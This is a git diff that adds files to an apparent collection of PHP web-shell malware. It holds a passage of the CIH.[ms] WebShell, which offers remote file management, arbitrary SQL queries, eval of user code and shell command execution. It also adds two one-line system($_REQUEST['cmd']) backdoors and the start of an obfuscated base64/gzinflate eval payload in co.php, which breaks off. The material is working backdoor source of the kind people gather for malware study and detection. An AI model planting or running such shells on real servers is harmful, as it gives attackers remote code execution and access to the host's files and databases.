name='newname' class='form' value='".$_POST['dirr']."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>"; +do_footer($ver);die();break; + case 'delete': +rmdir($_POST['dirr']);if(file_exists($_POST['dirr'])){error('Could not delete directory');}notice($_POST['dirr']."&nbsp;was successfuly deleted.");do_footer($version);break;}} +if (isset($_POST['fdo']) && isset($_POST['ffile']) && $_POST['fdo']=='delete'){ +unlink($_POST['ffile']);if(file_exists($_POST['ffile'])){error('Could not delete file');}notice("<b>".$_POST['ffile']."</b>&nbsp;was successfuly deleted.");break; +}if(isset($_POST['diract'])) +{$path = $_POST['cmdir']; $perms = fperms($_POST['cmdir']); +echo" +<div style='padding:2px;'><div style='background:#272727; padding:3px; margin-bottom:3px;text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px; font-size:9px; text-align:left;'>dir:$path&nbsp;&nbsp;|&nbsp;&nbsp; permissions: <b>$perms </b>&nbsp;&nbsp;</div><div style='padding:4px; padding-left:30px; font-size:9px; font-weight:bold; color:#999; text-align:left;'><form method='post' action=''><input type='hidden' name='dirr' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;><input type='submit' class='m' name='ddo' value='rename' style='margin-bottom:0px; background:#222;'><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;><input type='submit' class='m' name='ddo' value='delete' style='margin-bottom:0px; background:#222;'><br/><br/><br/></form></div><div style='background:#272727; font-size:9px;'>&nbsp;</div></div>";do_footer($ver);die();} +# switch $do +# +if (isset($_REQUEST['do'])) +{ +switch ($_REQUEST['do']){ +case 'mysql': +if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhost = 'localhost';}if (isset($_POST['mysqlw_db'])){$dbname = $_POST['mysqlw_db'];} else {$dbname = 'dbname';}if (isset($_POST['mysqlw_login'])){$dblogin = $_POST['mysqlw_login'];}else {$dblogin = 'dblogin';}if (isset($_POST['mysqlw_passw'])){$dbpass = $_POST['mysqlw_passw'];}else {$dbpass = 'dbpassword';}if (isset($_POST['mysqlw_port'])){$dbport = $_POST['mysqlw_port'];} else {$dbport = '3306';}if (!empty($_POST['sql'])){echo '<div >';$sqlq = $_POST['sql'];$db = mysql_connect($dbhost.':'.$dbport,$dblogin,$dbpass);if($db) +{if(!empty($_POST['mysqlw_db'])) { mysql_select_db($_POST['mysqlw_db'],$db); }$queries = explode(';',$sqlq);foreach($queries as $number=>$query) { +$number++;$r = safq($query); $error = mysql_error($db);if($error == 'Query was empty'){ break;} +echo "<div class='str' style='border-top:1px solid #333; '>query # <b>".$number."</b>:".htmlspecialchars($query)."</div>"; +if ($error){ notice("Error : <b>".$error."</b>"); } +else {if(is_array($r)){echo '<table style="width:100%; background:#222;">'; +if(is_array($r[0])){echo "<tr style='background:#292929; font-size:10px;'>";foreach($r[0] as $n=>$v){echo "<td style='padding:5px;'><b>$n</b></td>";}echo '</tr>';}foreach($r as $a){echo "<tr style='background:#232323;'>"; +if(is_array($a)){foreach($a as $n=>$v){echo "<td class='my'>$v</td>";}}else{echo "<td class='file'>$a</td>";}echo '</tr>';}echo '</table>';}else{echo $r;}if(($rows = mysql_affected_rows($db))>=0) { +echo "<div class='str' style='margin-top:3px; border-bottom:1px solid #333; padding:3px;'>affected rows : <b>".$rows."</b></div>"; } +}} mysql_close($db);}else {notice('Error: Could not connect to database..');} echo '</div>'; } +echo "<form action='' method='post' style='margin:0px; margin-top:15px;'> +<table style='width:100%; height:40%'><tr><td valign='top' style='background:#272727; padding:3px;'><textarea class='txt' cols='70' rows='15' name='sql' style='width:100%; height:99%'>"; +if(isset($_POST['sql'])){echo $_POST['sql'];} else echo 'SHOW DATABASES;'; +echo "</textarea></td><td style='width:150px; background:#272727;' valign='top' > +<input type='text' name='mysqlw_host' class='txt' style='margin:10px; height:24px;' value='$dbhost'/><input type='text' name='mysqlw_db' class='txt' style='margin:10px; height:24px;' value='$dbname'/><input type='text' name='mysqlw_login' class='txt' style='margin:10px; height:24px;' value='$dblogin'/><input type='txt' name='mysqlw_passw' class='txt' style='margin:10px; height:24px;' value='$dbpass'/><input type='text' name='mysqlw_port' class='txt' style='margin:10px; height:24px;' value='$dbport'/><br/></td><tr><td colspan=2 valign='top' style='height:5%;'><input type='hidden' name='do' value='mysql'><input type='submit' class='txt' style='width:100%; margin:0px; margin-bottom:5px; ' value='go!'></td></tr></table></form><br/>"; +do_footer($ver); die(); break; +case 'server': +echo '<table class="str" style="width:100%">';foreach($_SERVER as $k=>$v) +{echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td>$v</td></tr>";}echo '</table>';do_footer($ver); +die();break; +case 'envinfo': +echo '<table class="str" style=" width:100%">';foreach($_ENV as $k=>$v) +{echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td style='padding:3px;'>$v</td></tr>";}echo '</table><br/>';do_footer($ver);die();break; +case 'delete': +if(unlink(substr(strrchr($_SERVER['PHP_SELF'],"/"),1))==true){echo "<div class='notice'>cihshell has been deleted successfully..bye-bye ): </div><br/><br/>"; do_footer($ver);}else{error('Unable to delete shell', $ver);} die();break; +case 'eval': +echo "<form method='post' action='' style='padding:0px; margin-top:5px;'><input type='hidden' name='do' value='eval' style='border-bottom:1px solid #444;'> <textarea name='eval' class='form' style='height:100px;'>"; +if (isset($_POST['eval'])){echo $_POST['eval'];} else {echo 'code here (:';} +echo "</textarea><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form><br/>"; +if (isset($_POST['eval'])){ +echo "<table class='txt' style='margin-left:13px; width:98%; height:60%'><tr><td valign='top'>";code_eval();echo "</td></tr></table><br/>";} +do_footer($ver);die(); break; +case 'shell': +echo " <textarea class='txt' style='width:98%; height:60%; background:#262626' rows='30'>";if($safe_mode == 'On'){ echo "Safe mode is on..";}if(isset($_POST['alias'])){ foreach ($alias as $k=>$v) { if ($_POST['alias'] == $k){cmd_exec($v);}}} else {cmd_exec($safe_mode);}if(isset($_POST['cmdir'])) {$dirr = $_POST['cmdir'];} else {$dirr = $path;}echo "</textarea>";echo "<form method='post' action='' style='padding:0px; margin-top:5px; margin-bottom:15px;'><input type='hidden' name='do' value='shell'><input type='text' name='cmd' value='";if (isset($_POST['cmd'])){echo $_POST['cmd'];} elseif ($os == 'win'){echo 'dir';} else{echo 'ls';}echo "' class='form' style='width:98%; margin-bottom:2px;'><input type='text' name='cmdir' value='$dirr' class='form' style='color:#444;width:98%'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'></form>";echo"<form method='post' action='' style='border-top:1px solid #282828; margin:0px;'><select name='alias' class='form' style='width:98%; margin-top:5px;'>";foreach($alias as $k=>$v){echo "<option>$k</option>";}echo "</select><input type='hidden' name='do' value='shell'><input type='hidden' name='cmdir' value='$dirr'><input type='submit' class='form' value='do' style='width:98%; margin-top:3px; border:0px; background:#262626;'</form><br/><br/>";do_footer($ver); die();break; +case 'cihshell':echo "<div class='str' style='text-align:center;'><table class='str' style='width:100%'><tr> +<td style='border-right:1px solid #333; width:200px;'><div style=' padding:50px; margin-top:50px; margin-bottom:50px; border-top:1px solid #333; border-bottom:1px solid #333;'>Coded by <b>Berkut</b>. <br/><br/>&copy; 2007 <br/><hr>Fixed by <b>DCRM</b>. <br/></br>&copy; 2008 <br/></div></td><td valign='top' style='padding-left:30px;'><br/><br/><span style='font-size:20px; color:#666;'>CIH.[ms] WebShell<sup style='font-size:12px; color:#444;'>&nbsp;v.$ver</sup></span><br/><br/><br/>It has so many strong points that it is impossible to write them here (:</td></tr></table></div>";do_footer($ver); die();break; +default: error('There is no such function',$ver); +break;}} + # file actions +if(is_file($path)) + {$perms = fperms($path); $size = filesize($path."/".$file); $size = conv_size($size); $size_fix = conv_size(filesize($path)); $pp = $_POST['f_path'];$ppp = $_POST['f_file']; +echo "<div style='padding:2px;'><div style='background:#292929; padding:10px; margin-bottom:3px; text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px; font-size:9px; text-align:left;'>file:&nbsp;<span style='color:#666;'>$path</span>&nbsp;&nbsp;|&nbsp;&nbsp; permissions: <b style='color:#666;'>$perms </b>&nbsp;&nbsp;|&nbsp;&nbsp; size: <span style='color:#666;'>$size_fix</span>&nbsp;&nbsp;|&nbsp;&nbsp; Create time: <span style='color:#666;'>".date("d.m.Y H:i:s",filectime($path))."</span>&nbsp;&nbsp;|&nbsp;&nbsp;Modify time: <span style='color:#666;'>".date("d.m.Y H:i:s",filemtime($path))."</span></div><table style='width:100%; font-size:10px;'><tr><td style='width:200px; border-right:1px solid #292929; vertical-align:top; padding:0px; padding-left:5px;'> <form method='post' action=''><input type='hidden' name='ffile' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='view' style=''></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='view in HEX' style=''></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='edit'></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa' name='fdo' value='preview' ></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa' name='fdo' value='download'></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:40px;'><input type='submit' class='fa1' name='fdo' value='delete'></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'> <input type='submit' class='fa1' name='fdo' value='copy' ></div><div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='rename' ></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='chmod' ></div> <div style='width:200px; border-top:1px solid #292929; border-bottom:1px solid #292929; text-align:center; margin-top:5px;'><input type='submit' class='fa1' name='fdo' value='touch' ></div></td><td style='padding:3px; vertical-align:top;'>"; + if (isset($_POST['fdo']) && isset($_POST['ffile'])){ +$ffile = $_POST['ffile']; +switch($_POST['fdo']){ +case 'view': +fileread2($ffile, $stringnum); +break; +case 'view in HEX': + +$fi=fopen($path,"rb"); +if ($fi) {$str = fread($fi,filesize($path));$n=0;$a0="00000000<br/>";$a1="";$a2=""; +for ($i=0; $i<strlen($str); $i++) {$a1.=sprintf("%02X",ord($str[$i])).' ';switch (ord($str[$i])) {case 0: $a2.="0"; break;case 32: case 10:case 13: $a2.="&nbsp;"; break;default: $a2.=htmlspecialchars($str[$i]);}$n++;if ($n==$hexdump_rows) {$n=0;if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>";$a1.="<br>";$a2.="<br>";}}echo "<table style='font-size:10px;'><tr><td style='border-right:1px solid #292929; color:#444; padding:4px;'>$a0</td><td style='color:#666; padding:4px;'>$a1</td><td style='border-left:1px solid #292929; color:#444; padding:4px;'>$a2</td></tr>";echo"</table>"; +}break; +case 'edit': +echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:100%;' name='wrcont'> "; +fileread($ffile);echo "</textarea><input type='hidden' name='ffile' value='$ffile'><input type='hidden' name='path' value='".$path."'><input type='submit' name='wrfile' class='form' value='save file' style='width:100%; margin-top:5px;'></form><br/>"; break; +case 'chmod': +echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='chmod' class='form' value='".substr(sprintf('%o', fileperms($path)), -4)."' style='width:10%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form' value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break; + +case 'touch': +echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='touch' class='form' value='".date("d M Y H:i:s",filemtime($path))."' style='width:15%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form' value='".$path."' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>";break; + +case 'rename': +echo" <form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form' value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form' value='".$path."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";break; +case 'copy': +echo"<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$_POST['curpath']."'><input type='text' name='ffile' class='form' value='".$path."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newpath' class='form' value='".$path."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='copy!'></form><br/>";break; }} +else { +$fh = fopen($path, 'r'); if (!$fh){error('Could not open file',$ver);}echo '<table style="font-size:10px; width:100%; background:#222; ">';if ($stringnum){$i=1;while(!feof($fh) & $i<=30) {$line = fgets($fh); echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>'; $i++;}}else {while(!feof($fh) & $i<=30) {$line = fgets($fh); echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }}echo '</table>';} +echo '</td></tr></table></div>';do_footer($ver);die();} +elseif (is_dir($path)) + { + $dirs=array(); + $files=array(); + $dir=opendir($path); + while (($file=readdir($dir))!==false) { if ($file=="." || $file=="..") continue; + if (is_dir("$path/$file")) {$dirs[]=$file;} + else {$files[]=$file;}}closedir($dir); + } + +else {error('it isn\'t a directory', $ver);} +if (!$dir){error('An error occured while opening directory&nbsp;'.$path, $ver);} +sort($dirs); +sort($files); +echo "<table style='width:100%; background:#222;'>"; + echo "<tr><td colspan=6 class='filet' style='background:#282828; padding:0px; border-top:1px solid #2e2e2e; height:30px;'>"; +# drives + if ($os == "win") { + echo "<form method='post' action='' style='padding:0px; margin:0px; float:left;'>";echo "<input type='button' value='Drives:' class='fm' style='font-weight:bold;'>";for($d='c';$d<='z';$d++){if(is_dir($d.":/"))echo "<input type='submit' value='".$d.":/' class='fm' name='path'>"; }echo "</form>";}echo "<form method='post' action='' style='padding:0px; margin:0px; float:right;' >"; +echo "<input type='submit' name='diract' class='fm' value='directory actions' style='margin-bottom:0px; font-weight:bold; color:#666;'><input type='hidden' name='curdir' value='$path'><input type='hidden' name='cmdir' value='$path'><span style='color:#666;'>|</span><input type='submit' name='fileact' value='New File' class='fm'><span style='color:#666;'>|</span><input type='submit' style='margin:0px;' name='fileact' value='New Dir' class='fm'><span style='color:#666;'>|</span><input type='submit' name='fileact' value='Upload' class='fm'>";echo "</form>"; +echo "</td></tr>";echo "<tr style='background:#272727;'><td style='width:3%; '>&nbsp;</td><td style='width:300px; color:#888;' class='filet'><b>name</b></td><td class='filet' style='color:#888;'><b>size</b></td><td class='filet' style='color:#888;'><b>last modified</b></td><td class='filet' style='color:#888;'><b>permissions</b></td></tr>";echo "<form method='post' action=''><input type='hidden' name='f_path' value='$path'>"; +for ($i=0; $i<count($dirs); $i++) { +$size = '---'; +$perms = fperms($path."/".$dirs[$i]); +$ico = '<b>dir</b>'; +$last_mod = date('d.m.y H:i:s', fileatime($path."/".$file));if(!$last_mod){$last_mod = "---";} +echo" <tr style='background:#252525;'><td class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file' class='dir' value='$dirs[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";} + + for ($i=0; $i<count($files); $i++) { +# filesize +if (is_link($path."/".$files[$i])) {$size = "---";} else {$size = filesize($path."/".$files[$i]); $size = conv_size($size); if($size == '0B'){$size = '---';} } +# date +$last_mod = date('d.m.y H:i:s', fileatime($path."/".$files[$i]));if(!$last_mod){$last_mod = "---";} +#perms +$perms = fperms($path."/".$files[$i]); +#filetype (ico) +$ico = ''; if(is_link($path."/".$files[$i])) {$ico = 'link';} +else{ +// filetypes for file manager +$filetypes = array( +"php"=> array("php","phtml","php3","php4","inc"), +"exe"=>array("sh","install","bat","cmd"), +"ini"=>array("ini","inf"), +"html"=>array("html","htm","shtml"), +"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"), +"code"=>array("tcl","h","c","cpp", "pl", "cgi"), +"img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), +"sdb"=>array("sdb"), +"sess"=>array("sess"), +"dwnld"=>array("exe","com","pif","src","lnk","zip","rar") +); +$filename = $files[$i]; $ext = explode(".",$filename);$c = count($ext)-1;$ext = $ext[$c];$ext = strtolower($ext);$rft = "";foreach($filetypes as $key=>$value){if (in_array($ext,$value)) {$ico = $key; break;} } if($ico==''){$ico = 'none';}} +$wtf = '/'.$files[$i];if ($wtf == $_SERVER['SCRIPT_NAME']) {echo"<tr style='background:#292929;'><td class='ico' style='color:#666;'>[shell]</td><td style='width:300px;'><input type='submit' style='background:#292929;' name='f_file' class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>";} +else { +echo"<tr style='background:#252525;'><td class='ico'>[$ico]</td><td style='width:300px;'><input type='submit' name='f_file' class='file' value='$files[$i]'></td><td class='filet'>$size</td><td class='filet'>$last_mod</td><td class='filet'>$perms </td></tr>"; } +}echo '</form></table><div style="padding-left:2px; padding-right:2px; padding-bottom:4px; background:#222;"><div class="filet" style="background:#272727; border-bottom:1px solid #2e2e2e">&nbsp</div></div>';do_footer($ver);} +else {echo ' <html><head><style>body{background:#333;}</style><title>login </title></head><body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:"><tr><td><form method="post" style="margin:0px; padding:)px;">login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;<input type="submit" style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr></table></body></html>';} +?> diff --git a/web-malware-collection-master/Backdoors/PHP/cmd.php b/web-malware-collection-master/Backdoors/PHP/cmd.php new file mode 100755 index 0000000..6571f40 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/cmd.php @@ -0,0 +1,25 @@ +<? +// +// PHP_KIT +// +// cmd.php = Command Execution +// +// by: The Dark Raver +// modified: 21/01/2004 +// +?> +<HTML><BODY> +<FORM METHOD="GET" NAME="myform" ACTION=""> +<INPUT TYPE="text" NAME="cmd"> +<INPUT TYPE="submit" VALUE="Send"> +</FORM> +<pre> +<? +if($_GET['cmd']) { + system($_GET['cmd']); + } +?> +</pre> +</BODY></HTML> + + diff --git a/web-malware-collection-master/Backdoors/PHP/cmd.txt b/web-malware-collection-master/Backdoors/PHP/cmd.txt new file mode 100755 index 0000000..aae5593 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/cmd.txt @@ -0,0 +1 @@ +<pre><body bgcolor=white><? @system($_REQUEST["cmd"]); ?></body></pre> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/co.php b/web-malware-collection-master/Backdoors/PHP/co.php new file mode 100755 index 0000000..c22a5ef --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/co.php @@ -0,0 +1,1503 @@ +<? eval(gzinflate(base64_decode(' +7b3pWuNI0jD6+53nmXtQqZluaIxlG7MX9HgFg3eb +taoOI8uyLbzISLIN9FsXdK7h+/dd2YnIRUotBlNV +3bOc6ZlurFwiIzMjIyMjIyN+O/n423Qw/etfFKXl +qJZjTPqSpo5G9l//YvSk9Q+92URzDHNyrz8ZtmOv +y33dGRuaZTrGWJc3NqTfeQlJzFmHjBFUWF+b2boW +k9bgvxvSsaQ/TUdmV1+XJTkmCaU3jiRLd2bWRFpf +741M1dkgFaVNiX8igKOvX//6F92yTOve0qcmwXY9 +sXH017+sDXS1q1u2FD+W5KJljg8lR7edv+N/4po5 +luNrujmCgpLkK9rUp6Pnrba5cnHEcauuOoPoGhL8 +oyiSM9BtXXIWpuSYkq070DloR1K7XUu37RDYCiSq +fX2rlD+UPspxOiRxecvXwskypG62Kqox0q1DqX5W +l+Y7Air0H0CoLSI00EdTSZ2bRleyp+p4q2eMHAAG +ozi2+8dr961C86rQ/PTLWbtdvz+rtdq/fInLANXN +gHbgd7n4yxfA5q9/GUPz678MVG0Yn8B89p7/3sck +RPqXmPSLDe2NJNtwdPjCJmIu/huk/t+N/sS09HuY +cete7cC8rreblwXM/DsM3v1Y7Rva/ePMhKG4t2YT +Mj502hfGBKjKdizHHJkL3Vq3Zx34WkcMa61YIrYN +JHoMgwQFZajQ1XvGBMjPRlonJBzzky1CRcLvB9vt +T7V1JPfoVQFtGlPbvx5o2vrPa6plxdaGx7LMqhv2 +PSSpz+uYQ6pA71VtQL4l1Zag8MnanJUmnZtNp9C5 +teGG9AE6c1quZTPlFsJjjWDNT/LaUP6Ci+SrpI9g +un8n8I4ZIiMVJoKWpGV4VQYNEmFA75uFxmWh1YZq +BMf7sW719fW1+1ytdlEqxNbuTwtt+G8dyALHykXd +rRjE/4NhwySurwHykAJ/APTanCxlaM8ezHXEUU7G +E9LU0rcsfaSrgHxnZoy60k/JXfkICDg3syx94khQ +2IaxRXaVq1WLpdPLZqZdqlWlTDUvtQrtdql62mKs +Sx9PHRjj2QRpyJ5ZI2wffmumOTSABrSDA3tAMmRg +P2v4AxGRcRxw/EQgIghe0k08kqKhxkjJDQ5PqMkH +65NY/At2tAXMwhkYtkThSTC+0lidzNSR1Lpslv/6 +FzZsUOFenTkmrN3RvTHRRrOuDpBx3SCYUo/8REYE +hKirljaQ5qplqJ2RbksLwxlIXd3WgAAcE9jIOoC2 +NyR1AhxBneuS4UiwsLDBODaHI7GkSazyYUl/cKw8 +1OSfYSYZuUjr7kbwM1mB+mS+LgOI5u19q92EScSl +hJSEVLQ2F3eOYxjXOU7YRB0jXGiqq2uYtTb/lPiC +OXN1NAtlJTHLbZ8uQHngONNDRZFj5JdNf9r2iP7o +8czP8I9MEZroeneke2tzasISIg3G3Lxj4DgJofdQ +DDk1oKNPKDqIO3D4YzkuJBIokAoDheuTjLo3spHj +7xtk1kx0yeMkAUsnk1M1oei//uV32FNc+v8NOL0H +kNLkqIfIE+Lj5QbOeGRPdc1QR9pAtWwGjTD0NeSl +I2MMZAQDgSAwQaIpZg/mUtdmhEcSUqd0KJnICWAL +wD+E6cL4wuxNuvZGTErgdE4IBL1LiFJRMjMkb8fQ +VIfwhLWR2Sf7gUx4BvnCcvla9Ze2VKw1T2ttKZOt +XbaleqbVuq418x8+fIB6U9W23Wr4sTCtLm6H3Z17 +Xx4kbGnW81TvSpgexzmazEYjkGW6O+sEzgYZgIFp +O/cgRpkLzkjX5V+RzSgK+ZLW5d/Hqj38mgTqor9S +ciwej0NX6SfUK9UlWP24AUt6vB/ncJIHqXhydz+e +iP8KlZOpPfiViCflDT4C984TDjxIK8jiNRgwqKqr +pAdI5ltAGwNpTIUOGMs1VdPgo6tPDL2LyVj5oyoN +LL13/JmvEQ0AqeO4NVMYi7YVsthhc/8sn/Cf0jwO +9EO4elz+qKgnhxKFLlHwMiWQ/osxpWQvMK0CTSDc +CQv8RorOpl0V+AMZySLsUyJ/i0k0V8LsdUJMnMsB +GMCmo9M6dFYoc6JVGLWHOkdz3a4pZNQuaSuUOF1A +tjmzoGvLIMHq42PEi1JoLfqxxcEBQFIWKo6g696A +GLyXXXPyiyPBOpv0dWlsdkHG2iKsl47tFi4vAgcK +AqLde1ydZBY1WCC6dfKxc1JbTIAQOs8SCmq69VHp +nHxUWDbOivKrBKP6bM6k6awDsvtA6lk69JnMKraF +WQtI/+tfQI6FxTwZojAJqRYR7pBW1cmzZMKitGD7 +AFY7Jgsz9te/TGcOSJ2WTksjcnHpV0XAV9Ucb6H4 +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 